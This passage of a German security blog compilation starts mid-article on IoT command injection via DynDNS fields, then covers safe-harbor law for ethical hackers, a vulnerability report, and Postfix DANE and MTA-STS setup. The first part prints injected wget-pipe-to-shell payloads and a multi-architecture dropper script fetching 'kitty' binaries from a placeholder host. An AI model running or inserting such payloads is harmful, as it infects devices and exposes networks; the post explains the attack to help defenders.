$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
```

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende **kitty** Paket sein:

```
Benutzername: meow
Kennwort: meow
```

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

```
wget http://1.2.3.4/vivo -O- | sh
```

- wget lädt eine Datei herunter

- -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird

- das Pipe-Symbol | übergibt den Inhalt an die Shell sh

- die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

```
cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64
```

Und ja: Das existiert genauso in freier Wildbahn.

### Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

- Wurde vielleicht eine manipulierte Firmware eingespielt?

- Wurde der Bootloader verändert?

- Wird nach jedem Neustart automatisch eine Backdoor geöffnet?

- Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: **Nein**.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

- WLAN-Passwörter

- NAS-Zugangsdaten

- SMTP-Accounts

- API-Tokens

- Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

### Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

- IoT immer in ein eigenes, getrenntes Netz.

- Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.

- Regelmäßig patchen, prüfen, auditieren.

- Standardpasswörter sofort ändern.

- Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

---


---


## 20. BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker

**Veröffentlicht:** 2025-11-07
**Permalink:** https://www.kernel-error.de/2025/11/07/bsi-will-straffreiheit-mehr-rechtssicherheit-fuer-ethische-hacker/
**Description:** BSI-Chefin Plattner fordert Reform von § 202a StGB. Warum Safe-Harbor für Security-Research überfällig ist – Einordnung und Praxisblick.

[Bild: free ethical hackers]

Wir leben in Deutschland ja ein bisschen im „*Anzeige-ist-raus*“-Land. Das merken auch Security-Researcher und ethische Hacker. Solange man Eigentümer:innen/Betreiber:innen nur auf frei und offen erreichbare Probleme hinweist, ist die Welt halbwegs in Ordnung. Sobald man aber beginnt, Schutzmechanismen zu überwinden oder Anwendungen zu übervorteilen, wird’s schnell juristisch dünn. Genau deshalb melde ich in der Regel nur komplett offen erreichbare Dinge – außer es gibt eine security.txt mit klarer Policy oder ein offenes Bug-Bounty mit Safe-Harbor.

[[Bild: Picture of an useless gate.]](https://www.kernel-error.de/wp-content/uploads/2025/11/useless-gate.png)

Ein „Schutzmechanismus“ kann schon eine simple Basic-Auth sein. Kennt ihr dieses Bild vom Gartentor mitten auf dem Weg? Kein Zaun, keine Mauer, nur ein Tor. Auf dem Weg geht’s nicht weiter – aber einen Schritt nach links über die Wiese, und zack, ums Tor herum. Juristisch blöd: Das Umgehen dieses „Törchens“ kann bereits als Überwinden einer Zugangssicherung gewertet werden. Für die Meldenden kann das zum Problem werden, obwohl sie eigentlich helfen wollen.

Die Konsequenz: Selbst krasse Lücken werden oft gar nicht gemeldet, wenn davor ein Gartentörchen steht. Leute mit schlechten Absichten gehen natürlich einfach drumherum und nutzen die Lücke – anonym und schwer nachverfolgbar. Ergebnis: Probleme bleiben länger offen, statt sie sauber zu fixen.

Das sieht auch das BSI so und fordert schon länger mehr Rechtssicherheit für Security-Forschung. Aktuell gibt es wieder Bewegung: [BSI-Präsidentin Claudia Plattner plädiert öffentlich für eine Entkriminalisierung ethischer Hacker](https://www.heise.de/news/Hackerparagraf-BSI-Chefin-fordert-Sicherheitsforscher-Entkriminalisierung-11044176.html) – sinngemäß: „[Wer uns vor Cyberangriffen schützt, darf dafür nicht bestraft werden.](https://gruen-digital.de/2025/11/34522/)“ Die letzte Bundesregierung hatte sogar schon einen Entwurf zur Anpassung des sogenannten Hackerparagrafen in der Pipeline; die neue Regierung prüft das Thema weiter.

**Zur Einordnung, worum es geht:**

*Strafgesetzbuch (StGB) – § 202a Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.
(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.*

Das Problem ist weniger § 202a an sich als das fehlende Safe-Harbor für verantwortungsvolles Melden (Coordinated/Responsible Disclosure). Wenn schon Basic-Auth oder ein dünnes „Do-not-enter“-Schild als „Zugangssicherung“ zählt, macht das legitime Forschung riskant – und genau das will das BSI ändern. Schutz für die Guten, klare Grenzen gegen echten Missbrauch.

Den aktuellen Überblick fasst Golem gut zusammen; lesenswert:
[https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html](https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html?utm_source=chatgpt.com)

Meta: Ja, ich bleibe auch künftig bei meiner Linie: Tests nur im eigenen Lab oder mit expliziter Erlaubnis. Alles andere ist nicht nur unklug, sondern schlicht rechtlich riskant.

Ich bleibe bei meinem Tipp für euch: Veröffentlicht eine [security.txt](https://de.wikipedia.org/wiki/Security.txt). Solltet ihr mal einen Hinweis bekommen, erinnert euch bitte daran, dass die Person gerade den größten Aufwand und das größte Risiko eingeht, um euch auf ein Problem aufmerksam zu machen. Es wäre viel einfacher, die Lücke für sich auszunutzen, zu verkaufen oder sonst wie zu missbrauchen, als den Schritt nach vorne zu gehen und euch fair zu informieren.

Natürlich meine ich damit nicht die Leute, die erst einmal 5.000 € „Audit-Gebühr“ sehen wollen oder beim ungefragten Pentesting eure komplette IT aus dem Verkehr schießen. Ich meine die Menschen, die euch auf dem REWE-Parkplatz freundlich darauf hinweisen, dass ihr euer Portemonnaie auf dem Autodach liegen gelassen habt.

**Bedankt euch einfach.** 🙂

---


---


## 21. Sicherheitslücken melden: Mein Umgang mit einem Vulnerability Report

**Veröffentlicht:** 2025-02-17
**Permalink:** https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/
**Description:** Ein Sicherheitsforscher meldet eine Schwachstelle? Erfahre, wie du professionell reagierst, Kommunikation führst und Verantwortung übernimmst.

[Bild: Vulnerability Report]

Vor Kurzem habe ich einen [Vulnerability Report](https://www.bsi.bund.de/EN/IT-Sicherheitsvorfall/IT-Schwachstellen/it-schwachstellen.html) erhalten. Ich freue mich natürlich immer über solche Hinweise – sie helfen mir, zu wachsen und mein Setup zu verbessern, bevor jemand eine Schwachstelle tatsächlich ausnutzt.

Der Report lautet wie folgt:

```
Subject: Vulnerability Report: Vulnerable System Detected at openpgpkey.kernel-error.comHello Team,I have identified a security issue in your system related to a vulnerability (CVE-2023-48795) in Terrapin.Vulnerability Details:- CVE Identifier: CVE-2023-48795- Vulnerability Type: javascript- Severity: medium- Host: openpgpkey.kernel-error.com- Affected Port: 22Description: A security vulnerability (CVE-2023-48795) related to Terrapin has been detected in your system. This vulnerability could be exploited to compromise your system's security. Please see the details below for more information.Impact: Impact:1. Potential for Unauthorized Access: Attackers may exploit this vulnerability to gain unauthorized access.2. System Compromise: Vulnerable systems could be compromised, leading to data loss or further attacks.3. Increased Attack Surface: Exposing systems with this vulnerability increases the risk of exploitation.Recommendation: Recommendation:1. Apply patches for CVE-2023-48795: Ensure your systems are updated to address this vulnerability.2. Conduct a Security Review: Regularly review and update your security policies and procedures.3. Monitor for Suspicious Activity: Implement continuous monitoring to detect any potential exploitation attempts.4. Restrict Access: Limit access to systems vulnerable to exploitation.Best Regards,Security Team
```

Ich war mir eigentlich sicher, dass ich Terrapin schon vor langer Zeit überall gepatcht und in den SSH-Konfigurationen berücksichtigt hatte.

Dann kam der Hinweis auf `openpgpkey.kernel-error.com`. Die Domain existiert als CNAME und gehört zur Web Key Directory (WKD), was im Groben dazu dient, öffentliche GPG-Keys möglichst automatisiert abrufen zu können. Wenn mir also jemand eine Mail schreiben möchte, aber meinen öffentlichen Key nicht hat, kann er diesen einfach über WKD beziehen. Ich habe das Ganze als CNAME zu `wkd.keys.openpgp.org` angelegt, weil dieser Keyserver zumindest eine E-Mail-Validierung beim Hochladen öffentlicher Schlüssel durchführt. Ich muss ja nicht jede Infrastruktur selbst betreiben.

Allerdings gehört der betroffene SSH-Server und das gesamte Zielsystem somit gar nicht zu meiner Infrastruktur – ich kann also selbst nichts tun.

**Vulnerability Type: JavaScript**

Das verstehe ich nicht ganz. Vermutlich hat der Finder einfach sein Standard-Template benutzt und nicht angepasst?! Aber zumindest wollte ich prüfen, ob seine Einschätzung zum SSH-Server überhaupt zutrifft:

```
# general
(gen) banner: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
(gen) software: OpenSSH 8.4p1
(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+
(gen) compression: enabled (zlib@openssh.com)

# security
(cve) CVE-2021-41617                        -- (CVSSv2: 7.0) privilege escalation via supplemental groups
(cve) CVE-2016-20012                        -- (CVSSv2: 5.3) enumerate usernames via challenge response

# key exchange algorithms
(kex) curve25519-sha256                     -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76
                                            `- [info] default key exchange since OpenSSH 6.4
(kex) curve25519-sha256@libssh.org          -- [info] available since OpenSSH 6.4, Dropbear SSH 2013.62
                                            `- [info] default key exchange since OpenSSH 6.4
(kex) ecdh-sha2-nistp256                    -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 (3072-bit) -- [info] available since OpenSSH 4.4
                                                      `- [info] OpenSSH's GEX fallback mechanism was triggered during testing. Very old SSH clients will still be able to create connections using a 2048-bit modulus, though modern clients will use 3072. This can only be disabled by recompiling the code (see https://github.com/openssh/openssh-portable/blob/V_9_4/dh.c#L477).
(kex) diffie-hellman-group16-sha512         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512         -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256         -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
                                            `- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) kex-strict-s-v00@openssh.com          -- [info] pseudo-algorithm that denotes the peer supports a stricter key exchange method as a counter-measure to the Terrapin attack (CVE-2023-48795)

# host-key algorithms
(key) rsa-sha2-512 (2048-bit)               -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
                                            `- [info] available since OpenSSH 7.2
(key) rsa-sha2-256 (2048-bit)               -- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
                                            `- [info] available since OpenSSH 7.2
(key) ssh-rsa (2048-bit)                    -- [fail] using broken SHA-1 hash algorithm
                                            `- [warn] 2048-bit modulus only provides 112-bits of symmetric strength
                                            `- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
                                            `- [info] deprecated in OpenSSH 8.8: https://www.openssh.com/txt/release-8.8
(key) ecdsa-sha2-nistp256                   -- [fail] using elliptic curves that are suspected as being backdoored by the U.S. National Security Agency
                                            `- [warn] using weak random number generator could reveal the key
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519                           -- [info] available since OpenSSH 6.5

# encryption algorithms (ciphers)
(enc) chacha20-poly1305@openssh.com         -- [info] available since OpenSSH 6.5
                                            `- [info] default cipher since OpenSSH 6.9
(enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr                            -- [info] available since OpenSSH 3.7
(enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes128-gcm@openssh.com                -- [info] available since OpenSSH 6.2
(enc) aes256-gcm@openssh.com                -- [info] available since OpenSSH 6.2

# message authentication code algorithms
(mac) umac-64-etm@openssh.com               -- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 6.2
(mac) umac-128-etm@openssh.com              -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256-etm@openssh.com         -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-512-etm@openssh.com         -- [info] available since OpenSSH 6.2
(mac) hmac-sha1-etm@openssh.com             -- [fail] using broken SHA-1 hash algorithm
                                            `- [info] available since OpenSSH 6.2
(mac) umac-64@openssh.com                   -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 4.7
(mac) umac-128@openssh.com                  -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1                             -- [fail] using broken SHA-1 hash algorithm
                                            `- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28

# fingerprints
(fin) ssh-ed25519: SHA256:vwCCSg+OuRwAflHQs/+Y22UJ7p2lM57vbukGFt5AAaY
(fin) ssh-rsa: SHA256:o+WUM9bAmH2G5xMAsJfZRsmh8hvMoU4dx9gdmahLM+M

# algorithm recommendations (for OpenSSH 8.4)
(rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove 
(rec) -ecdsa-sha2-nistp256                  -- key algorithm to remove 
(rec) -hmac-sha1                            -- mac algorithm to remove 
(rec) -hmac-sha1-etm@openssh.com            -- mac algorithm to remove 
(rec) -ssh-rsa                              -- key algorithm to remove 
(rec) !rsa-sha2-256                         -- key algorithm to change (increase modulus size to 3072 bits or larger) 
(rec) !rsa-sha2-512                         -- key algorithm to change (increase modulus size to 3072 bits or larger) 
(rec) -diffie-hellman-group14-sha256        -- kex algorithm to remove 
(rec) -hmac-sha2-256                        -- mac algorithm to remove 
(rec) -hmac-sha2-512                        -- mac algorithm to remove 
(rec) -umac-128@openssh.com                 -- mac algorithm to remove 
(rec) -umac-64-etm@openssh.com              -- mac algorithm to remove 
(rec) -umac-64@openssh.com                  -- mac algorithm to remove 

# additional info
(nfo) For hardening guides on common OSes, please see: 
(nfo) Be aware that, while this target properly supports the strict key exchange method (via the kex-strict-?-v00@openssh.com marker) needed to protect against the Terrapin vulnerability (CVE-2023-48795), all peers must also support this feature as well, otherwise the vulnerability will still be present.  The following algorithms would allow an unpatched peer to create vulnerable SSH channels with this target: chacha20-poly1305@openssh.com.  If any CBC ciphers are in this list, you may remove them while leaving the *-etm@openssh.com MACs in place; these MACs are fine while paired with non-CBC cipher types.

```

Joar, das sieht tatsächlich nicht ganz so optimal aus. Ein Hinweis darauf ist also nicht unberechtigt. Ich habe dem Finder also freundlich und dankbar geantwortet, aber auch darauf hingewiesen, dass das System nicht zu meiner Infrastruktur gehört. Zusätzlich habe ich ihm die relevanten Whois-Informationen zur IPv4 des angegebenen Hosts mitgeschickt.

Seine Antwort hat nicht lange auf sich warten lassen:

```
Thank you for your answer.Let me know if you need anything else from mysideI hope this type of hard efforts deserves something reward
```

Hm… *„hard efforts“*. Ich will das jetzt nicht schlechtreden. Wäre der Hinweis im beruflichen Umfeld angekommen, hätte ich mich vielleicht sogar für eine Kleinigkeit stark gemacht. Aber da es hier nur um meine private Infrastr

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/ ...]

---


---


## 22. Postfix: Serverzertifikat nicht verifiziert – Fehlerbehebung

**Veröffentlicht:** 2015-02-02
**Permalink:** https://www.kernel-error.de/2015/02/02/postfix-server-certificate-not-verified/
**Description:** Lerne, wie du das Problem 'Serverzertifikat nicht verifiziert' in Postfix behebst. Detaillierte Anleitung zur Lösung von SSL/TLS-Verifizierungsfehlern.

Da bekomme ich doch gerade eine E-Mail zurück mit der Begründung:*
*

```
Reporting-MTA: dns; smtp.kernel-error.de
X-Postfix-Queue-ID: 30E4E7461347
X-Postfix-Sender: rfc822; kernel-error@kernel-error.com
Arrival-Date: Wed, 28 Jan 2015 11:50:00 +0100 (CET)

Final-Recipient: rfc822; mailer@domain.tld
Original-Recipient: rfc822;mailer@domain.tld
Action: failed
Status: 4.7.5
Diagnostic-Code: X-Postfix; Server certificate not verified
```

Dazu passend findet sich im Postfix Logfile folgendes:

```
Feb  2 12:15:21 postfix/smtp[1520]: Trusted TLS connection established to domain.tld[2001:1111:1:1111::1]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Feb  2 12:15:21 postfix/smtp[1520]: 30E4E7461347: Server certificate not verified
Feb  2 12:15:22 postfix/smtp[1520]: Trusted TLS connection established to domain.tld[1.2.3.4]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
Feb  2 12:15:22 postfix/smtp[1520]: 30E4E7461347: to=, relay=domain.tld[1.2.3.4]:25, delay=433522, delays=433521/0.09/0.63/0, dsn=4.7.5, status=deferred (Server certificate not verified)
```

Na? Schon eine Idee? Erst soll die TLS Verbindung trusted sein und dann doch wieder nicht? Ganz einfach 🙂 Es ist DANE…. Postfix würde ja selbst eine E-Mail zustellen, wenn er das Zertifikat nicht prüfen könnte. Hat der Empfänger aber einen TLSA-Record für sein Mailserver Zertifikat veröffentlicht und Postfix prüft dieses mit negativem Ergebnis, dann kann man wohl davon ausgehen, dass da etwas nicht stimmt. Entweder der Empfänger hat ein Problem mit seiner Konfiguration oder es versucht sich gerade jemand „dazwischen“ zu drängen.

Weiter prüfen konnte ich es mit posttls-finger:

```
$ posttls-finger -t30 -T180 -c -L verbose,summary domain.tld
posttls-finger: initializing the client-side TLS engine
posttls-finger: using DANE RR: _25._tcp.domain.tld IN TLSA 3 0 1 B3:E7:94:4A:CE:14:0D:CE:53:08:C6:D8:A5:D3:8C:EE:DD:94:FC:8A:B4:DD:8E:DD:DD:DD:DD:DD:DD:DD:DD:DD
posttls-finger: setting up TLS connection to domain.tld[2001:1111:1:1111::1]:25
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: TLS cipher list "aNULL:-aNULL:ALL:!EXPORT:!LOW:+RC4:@STRENGTH:!aNULL"
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=1 verify=0 subject=/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: depth=0 verify=1 subject=/C=DE/CN=www.domain.tld/emailAddress=hostmaster@domain.tld
posttls-finger: domain.tld[2001:1111:1:1111::1]:25: subject_CN=www.domain.tld, issuer_CN=StartCom Class 1 Primary Intermediate Server CA, fingerprint=65:76:45:E3:50:1A:54:5D:BE:30:8F:DD:DD:DD:DD:DD:DD:DD:DD:DD, pkey_fingerprint=63:53:F8:60:76:8D:01:E8:57:93:EA:3C:DD:DD:DD:DD:DD:DD:DD:DD
posttls-finger: Untrusted TLS connection established to domain.tld[2001:1111:1:1111::1]:25: TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)
```

Passt also wirklich nicht… Gleicher Test auf verschiedenen Systemen, gleiches Ergebnis. Ebenfalls die einschlägigen Webseiten bringen diese Meldung ([https://de.ssl-tools.net/mailservers/](https://de.ssl-tools.net/mailservers/)).

Ich muss zugeben, ist eine Premiere für mich. Also ein wirklich echt fehlgeschlagener DANE Test von Postfix, welcher die Mailzustellung verhindert hat. Natürlich hat postfix nicht nach dem ersten Versuch aufgegben, diese Prüfung führt zu einem temporären Fehler der 4xx Reihe. Postfix versucht es also ein paar Tage. In meinem Fall hat also alles genau so funktioniert, wie ich es mir gewünscht habe. Postfix testet die TLSA-Records, bemerkt einen Fehler, logt diese und probiert es noch einmal. Der Fehler bestand dauerhaft und Postfix gab mir die Mail zurück, mit der Info das etwas mit dem Zertifikat des Empfängers nicht stimmt. Das hat Postfix wirklich gut gemacht *tätschel*

So long…

---


---


## 23. SMTP MTA-STS: Strict Transport Security für deinen Mailserver

**Veröffentlicht:** 2019-03-08
**Permalink:** https://www.kernel-error.de/2019/03/08/smtp-mta-strict-transport-security-mta-sts/
**Description:** SMTP MTA-STS einrichten — Mail Transfer Agent Strict Transport Security für erzwungene TLS-Verschlüsselung konfigurieren.

Haben wir uns schon über [MTA STS / RFC 8461](https://tools.ietf.org/html/rfc8461) unterhalten? Nicht? Dann dann wird es aber Zeit :-)


MTA STS ist ein RFC von Ende 2018. So kann man eine Policy veröffentlichen um anderen Mailservern mitzuteilen, dass man seine E-Mails bitte nur per TLS (also mit Transportverschlüsselung) erhalten möchte und an welchen MX...


Eine ganz nette Idee nur.... Wenn man keine E-Mail ohne Transportverschlüsselung erhalten möchte, dann könnte man ja einfach keine E-Mails ohne Transportverschlüsselung annehmen?!?!? Natürlich sagt man anderen Mailservern zusätzlich noch an welchen sie bitte die Mails zustellen sollen, das es eine Transportverschlüsselung geben muss und alles nur mit einem gültigen Zertifikat ablaufen kann.


Fehlt da nicht noch etwas? Klar reporting... Dazu gibt es im Moment ein RFC: [SMTP TLS Reportingdraft-ietf-uta-smtp-tlsrpt-23](https://tools.ietf.org/html/draft-ietf-uta-smtp-tlsrpt-23)


Ein einfaches Onlinetool zum Testen gibt es ebenfalls: [MTA-STS validator](https://aykevl.nl/apps/mta-sts/)


Was muss man dafür nun tun? Ohne Frage muss der eigene Mailserver sauber TLS sprechen... Dann wirfst man einen TXT RR in die jeweilige DNS Zone:


```generic
$ dig IN TXT _mta-sts.kernel-error.de +short
"v=STSv1;id=20190202111557Z;"
```


Die eigentliche Policy veröffentlich man nun per Webserver jeweils für die Zone unter: mta-sts.domain.tld [https://mta-sts.kernel-error.de/.well-known/mta-sts.txt](https://mta-sts.kernel-error.de/.well-known/mta-sts.txt)


Das Reporting lässt sich ebenfalls schnell per TXT RR in der DNS Zone einrichten:


```generic
$ dig IN TXT _smtp._tls.kernel-error.de +short
"v=TLSRPTv1;rua=mailto:postmaster@kernel-error.de"
```


Beides ist sehr schnell und einfach eingerichtet. Postfix selbst berücksichtigt dieses leider noch nicht. Es gibt natürlich schon eine Implementierung, welche ich persönlich noch nicht ganz glücklich finde. Wer schon mal schauen will: [https://github.com/Snawoot/postfix-mta-sts-resolver](https://github.com/Snawoot/postfix-mta-sts-resolver)


Fragen? Dann einfach mal fragen :-)


---


## 24. Postfix MTA-STS Resolver für FreeBSD mit Logfile einrichten

**Veröffentlicht:** 2019-03-25
**Permalink:** https://www.kernel-error.de/2019/03/25/postfix-mta-sts-resolver-fuer-freebsd-mit-logfile/
**Description:** Postfix MTA-STS Resolver unter FreeBSD einrichten — Python-Daemon für MTA Strict Transport Security Policy-Prüfung installieren und nutzen.

Ich habe heute auch mal den postfix-mta-sts-resolver auf meinem privaten System zugeschaltet. Einfach um es mal zu "probieren".


Tut einfach und wie beschrieben, ist so aber sicher nicht für größeren und produktiven Betrieb gedacht. So wie der resolver kommt schreibt er alle Meldungen leider nur in die Konsole, es gibt keinen File-Logger. Ich ähm will/brauch den aber!


Also habe ich einen Fork erstellt und ihn überredet in eine Datei zu loggen und direkt noch ein sehr rudimentäres rc.d init script beigelegt: [https://github.com/Kernel-Error/postfix-mta-sts-resolver](https://github.com/Kernel-Error/postfix-mta-sts-resolver)


Wer es also ebenfalls mal probieren möchte, viel Spaß.


Der mta-sts-daemon loggt nun per default in /var/log/mta-sts.log. Config über yml ist ebenfalls nun drin genau wie die Konfiguration per Startparameter. Das rc.d script für FreeBSD könnte sicher schöner sein und hätte gerne im default den Benutzer *mta-sts* im System. Wir wollen es ja nicht als Root laufen lassen, hm?


Das einzelne Programm mta-sts-query greift auf den gleichen Logger zu, gibt damit also nichts mehr in der Konsole aus sondern auch im Logfile. Vielleicht passe ich dieses noch an, wenn dann mache ich auch einen pull request. Sonst gehe ich mal davon aus, dass es eh bald im postifx ist *daumen-drück*


---


Update


Habe ich jetzt gemacht. Pullrequest wurde angenommen und das neue Release ist auch schon gemacht. Jetzt also mit Logfile und rc.d script für FreeBSD.


Fragen? Dann fragen :-)


---


## 25. Postfix SSL/TLS sichern mit TLSA, DANE und DNSSEC

**Veröffentlicht:** 2014-01-28
**Permalink:** https://www.kernel-error.de/2014/01/28/postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec/
**Description:** Erfahre, wie du Postfix mit TLSA, DANE und DNSSEC sicher konfigurierst, um SSL/TLS-Kommunikation zu optimieren. Schritt-für-Schritt-Anleitung zur...

Mein Domains sind nun schon seit langem per DNSSEC gesichert. Schnell habe ich auch TLSA-RECORDS für mein SSL/TLS X.509 Zertifikat des Webservers Apache veröffentlicht, damit die verschlüsselte Verbindung zu meiner Webseite ebenfalls per DANE gesichert ist.


DNSSEC: [https://www.kernel-error.de/dnssec](https://www.kernel-error.de/2010/11/17/mein-kleines-dnssec-howto/)


DANE: [https://www.kernel-error.de/dnssec/tls-](https://www.kernel-error.de/2014/01/28/postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec/)[ssl](https://www.kernel-error.de/2013/08/10/dnssec-und-dns-based-authentication-of-named-entities-dane/)[-zertifikatschecksummen-im-dns](https://www.kernel-error.de/2014/01/28/postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec/)


Seit Januar diesen Jahres beherscht nun Postfix ebenfalls die Möglichkeit TLSA Records zu prüfen. Da mache ich natürlich mit!


Zuerst muss die Postfix Version natürlich passen. Kleiner 2.11 sollte es nicht sein, die Postfixversion zeigt sich schnell per:


```generic
$ postconf -d | grep mail_version
mail_version = 2.11.0
```


Mein Mailserver bietet natürlich schon immer die Möglichkeit einer verschlüsselten Verbindung an. Daher gehe ich einfach mal nicht näher darauf ein, wie man sein Postfix dazu überredet. Ganz kurz... Aktivieren lässt sich die Unterstützung für DANE / TLSA mit folgenden drei Konfigurationsänderungen:


```generic
$ postconf -e "smtpd_use_tls = yes"
$ postconf -e "smtp_dns_support_level = dnssec"
$ postconf -e "smtp_tls_security_level = dane"
```


Keine Sorge, alles bietet einen Failback an, so leidet die Kommunikation mit _nicht_ DANE fähigen Systemen nicht.


Zum erstellen des TLSA-RECORDS muss selbstverständlich nicht unbedingt der von mir in früheren Beiträgen erwähnte Hash-slinger eingesetzt werden. Openssl macht dieses fast genau so schnell.


```generic
$ openssl x509 -in postfix.pem -outform DER | openssl sha256
(stdin)= 94c8e1bdfff4f6d3fec0c4e2f26293d78870650bfd3534e77b93cdaccb77eb95
```


Aus diesem Hash erstelle ich nun den TLSA RECORD. Für die E-Mail Kommunikation ist es mir lieb, wenn der TTL (Lebensdauer) des Records nicht ZU lange ist. Bei einem Zertifikatswechsel dauert es sonst unnötig lange bis der neue Record gültig ist. Daher setzte ich ihn auf 1 Stunde.


```generic
_25._tcp.smtp.kernel-error.de. 1H IN TLSA 3 1 1 8cb0fc6c527506a053f4f14c8464bebbd6dede2738d11468dd953d7d6a3021f1
